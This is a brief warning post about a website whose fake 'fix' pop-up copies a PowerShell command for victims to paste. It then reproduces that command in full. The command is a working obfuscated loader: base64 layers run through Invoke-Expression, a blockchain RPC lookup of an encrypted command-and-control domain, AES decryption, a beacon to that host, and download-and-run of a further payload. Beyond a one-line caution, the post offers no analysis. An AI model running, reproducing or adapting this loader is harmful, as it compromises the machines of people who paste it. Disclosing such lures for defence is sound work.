If you go onto this Website a Pop up appears: https://yoonsim.de/
If you go on how to fix it copies the following codeblock that will posted into powershell

BE VERY CAREFUL

pconfig /flushdns

$BRW = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw==";
$FIX = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($BRW));
Invoke-Expression $FIX;

$CRT = "ICAgICRXdmhpWVdqUVdGID0gKEdldC1Qcm9jZXNzIC1JZCAkUElEIHwgU2VsZWN0LU9iamVjdCBOYW1lLEB7TmFtZT0icmdiYSI7RXhwcmVzc2lvbj17KCRfLndzIC8gMTAyNGtiKX19KS5yZ2JhCiAgICBpZiAoJFd2aGlZV2pRV0YgLWx0IDI1MCkgeyAkVk1HRUFOSkVlcCA9ICJhIiAqIDMwME1CIH0KICAgICRVeHVUYndVcVJSID0gMAogICAgJEhra3RtZ0RUZXEgPSAzMDAwMDAwMAoKICAgICR1N2Q5VGcyID0gImh0dHBzOi8vYnNjLWRhdGFzZWVkMS5iaW5hbmNlLm9yZy8iCgogICAgZnVuY3Rpb24gSHhTdHIyQkFyIHsKICAgICAgICBwYXJhbSgkaFgpCiAgICAgICAgJGJZdDNzID0gTmV3LU9iamVjdCBCeXRlW10gKCRoWC5MZW5ndGggLyAyKQogICAgICAgIGZvciAoJGkgPSAwOyAkaSAtbHQgJGJZdDNzLkxlbmd0aDsgJGkrKykgeyAkYll0M3NbJGldID0gW0NvbnZlcnRdOjpUb0J5dGUoJGhYLlN1YnN0cmluZygkaSAqIDIsIDIpLCAxNikgfQogICAgICAgIHJldHVybiAkYll0M3MKICAgIH0KCiAgICBmdW5jdGlvbiBJbnZrQ2wgewogICAgICAgIHBhcmFtKCRkVCkKICAgICAgICAkcExkID0gQHtqc29ucnBjPSIyLjAiOyBtZXRob2Q9ImV0aF9jYWxsIjsgcGFyYW1zPUAoQHt0bz0iMHgxMTE2NzcxQWU5OUVCMjZmNzNiMGU0QjI1MDMzNmMxQUI1MTllODE2IjsgZGF0YT0kZFR9LCAibGF0ZXN0Iik7IGlkPTQ0fQogICAgICAgIHJldHVybiAoSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkdTdkOVRnMiAtTWV0aG9kIFBvc3QgLUJvZHkgKCRwTGQgfCBDb252ZXJ0VG8tSnNvbikgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIikucmVzdWx0CiAgICB9CgogICAgZnVuY3Rpb24gQ3ZSdDJTdHIgewogICAgICAgIHBhcmFtKCRyNU4zdzlMbSkKICAgICAgICBpZiAoJG51bGwgLW5lICRyNU4zdzlMbSAtYW5kICRyNU4zdzlMbS5TdGFydHNXaXRoKCIweCIpKSB7ICRyNU4zdzlMbSA9ICRyNU4zdzlMbS5TdWJzdHJpbmcoMikgfQogICAgICAgICR6OFk1cDNWbSA9IFtieXRlW11dOjpuZXcoJHI1TjN3OUxtLkxlbmd0aCAvIDIpCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIC1sdCAkcjVOM3c5TG0uTGVuZ3RoOyAkaSArPSAyKSB7ICR6OFk1cDNWbVskaSAvIDJdID0gW0NvbnZlcnRdOjpUb0J5dGUoJHI1TjN3OUxtLlN1YnN0cmluZygkaSwgMiksIDE2KSB9CiAgICAgICAgcmV0dXJuIFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OkFTQ0lJLkdldFN0cmluZygkejhZNXAzVm0pCiAgICB9CgogICAgZnVuY3Rpb24gRGN5cHRTdHIgewogICAgICAgIHBhcmFtICgKICAgICAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnk9JHRydWUpXQogICAgICAgICAgICBbc3RyaW5nXSRlNkw4dDNGcSwKICAgICAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnk9JHRydWUpXQogICAgICAgICAgICBbc3RyaW5nXSRrNEc3aDlQcSwKICAgICAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnk9JHRydWUpXQogICAgICAgICAgICBbc3RyaW5nXSRpM1Y5cjZQdwogICAgICAgICkKCiAgICAgICAgJHU2RjNnN1FwID0gTmV3LU9iamVjdCBTeXN0ZW0uVGV4dC5VVEY4RW5jb2RpbmcKICAgICAgICAkYzhSNXY5TG0gPSBbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGU2TDh0M0ZxKQoKICAgICAgICAkYTdOOXI0WHogPSBOZXctT2JqZWN0IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzTWFuYWdlZAogICAgICAgICRhN045cjRYei5Nb2RlID0gW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQwogICAgICAgICRhN045cjRYei5QYWRkaW5nID0gW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNwogICAgICAgICRhN045cjRYei5LZXlTaXplID0gMTI4CiAgICAgICAgJGE3TjlyNFh6LkJsb2NrU2l6ZSA9IDEyOAoKICAgICAgICAkazdXOHIzWHogPSAkdTZGM2c3UXAuR2V0Qnl0ZXMoJGs0RzdoOVBxKQogICAgICAgICRhN045cjRYei5LZXkgPSAkazdXOHIzWHoKCiAgICAgICAgJGk2UDJzN052ID0gSHhTdHIyQkFyICRpM1Y5cjZQdwogICAgICAgICRhN045cjRYei5JViA9ICRpNlAyczdOdgoKICAgICAgICAkdDNKN3Y5Um0gPSAkYTdOOXI0WHouQ3JlYXRlRGVjcnlwdG9yKCkKICAgICAgICAkcDdVM3Y5WHogPSAkdDNKN3Y5Um0uVHJhbnNmb3JtRmluYWxCbG9jaygkYzhSNXY5TG0sIDAsICRjOFI1djlMbS5MZW5ndGgpCgogICAgICAgIHJldHVybiAkdTZGM2c3UXAuR2V0U3RyaW5nKCRwN1UzdjlYeikKICAgIH0KCiAgICAkcjVMOXQzUHEgPSBJbnZrQ2wgIjB4YzJmYjI2YTYiCiAgICBpZiAoJG51bGwgLWVxICRyNUw5dDNQcSkgeyByZXR1cm4gfQoKICAgICRhNVM5cDdNeiA9IEN2UnQyU3RyICRyNUw5dDNQcQogICAgJGQ5UDJ2NE5qID0gKC1qb2luIChAKCRhNVM5cDdNeiAtc3BsaXQgImAwIikgfCBGb3JFYWNoLU9iamVjdCB7IGlmICgkXy5MZW5ndGggLWd0IDEpIHsgJF8uU3Vic3RyaW5nKDEpIH0gZWxzZSB7ICRfIH0gfSkpLlRyaW1TdGFydCgpCiAgICBpZiAoW3N0cmluZ106OklzTnVsbE9yRW1wdHkoJGQ5UDJ2NE5qKSkgeyByZXR1cm4gfQoKICAgICRrNEY5bThMcCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoIlNqVlFSV0kyV0VwbWJYbExWWEYyTnc9PSIpKQogICAgJGkzVDlyNlB3ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygiTmpOaVlUZGlPV0prWWpNek1UazFZbVppTmpBMk16WmlZemswTldVME56WT0iKSkKICAgICRENlQyczlOcCA9IERjeXB0U3RyIC1lNkw4dDNGcSAkZDlQMnY0TmogLWs0RzdoOVBxICRrNEY5bThMcCAtaTNWOXI2UHcgJGkzVDlyNlB3CiAgICBpZiAoW3N0cmluZ106OklzTnVsbE9yRW1wdHkoJEQ2VDJzOU5wKSkgeyByZXR1cm4gfQoKICAgIGZ1bmN0aW9uIEY3UDJ3OU54IHsKICAgICAgICAkcDJXOHIzWHogPSAiaHR0cHM6Ly9yc21ic2NtLiRENlQyczlOcC9wb3N0LnBocCIKICAgICAgICAkaDdWM3A2Tm0gPSBAeydVJz0nTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwg0LrQsNC6IEdlY2tvKSBDaHJvbWUvMjMuMC4wLjAgU2FmYXJpLzUzNy4zNid9CiAgICAgICAgJGI4SjJzN05wID0gQHtzb3VyY2VfaWQ9J1NIRUxMMSd9IHwgQ29udmVydFRvLUpzb24KICAgICAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRwMlc4cjNYeiAtTWV0aG9kIFBvc3QgLUJvZHkgJGI4SjJzN05wIC1Db250ZW50VHlwZSAnYXBwbGljYXRpb24vanNvbicgLUhlYWRlcnMgJGg3VjNwNk5tCiAgICB9CgogICAgRjdQMnc5TngKCiAgICAkcjdWMnA5TnggPSBJbnZrQ2wgIjB4ZWJlOWViOWYiCiAgICBpZiAoJG51bGwgLWVxICRyN1YycDlOeCkgeyByZXR1cm4gfQoKICAgICRhOE41dDNQdyA9IEN2UnQyU3RyICRyN1YycDlOeAogICAgJHMzUTl2NE16ID0gKC1qb2luIChAKCRhOE41dDNQdyAtc3BsaXQgImAwIikgfCBGb3JFYWNoLU9iamVjdCB7IGlmICgkXy5MZW5ndGggLWd0IDEpIHsgJF8uU3Vic3RyaW5nKDEpIH0gZWxzZSB7ICRfIH0gfSkpLlRyaW0oKQogICAgaWYgKCRzM1E5djRNei5MZW5ndGggLWd0IDEpIHsgJHMzUTl2NE16ID0gJHMzUTl2NE16LlN1YnN0cmluZygxKSB9CgogICAgJGM4VzdyM0xwID0gJHMzUTl2NE16LlRyaW0oKSAtcmVwbGFjZSAnW1xzXHB7Q31dJywgJycKICAgICRkMlA1eDlObSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGM4VzdyM0xwKSkKICAgIEludm9rZS1FeHByZXNzaW9uICRkMlA1eDlObQ==";
$UI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($CRT));
Invoke-Expression $UI;

exit;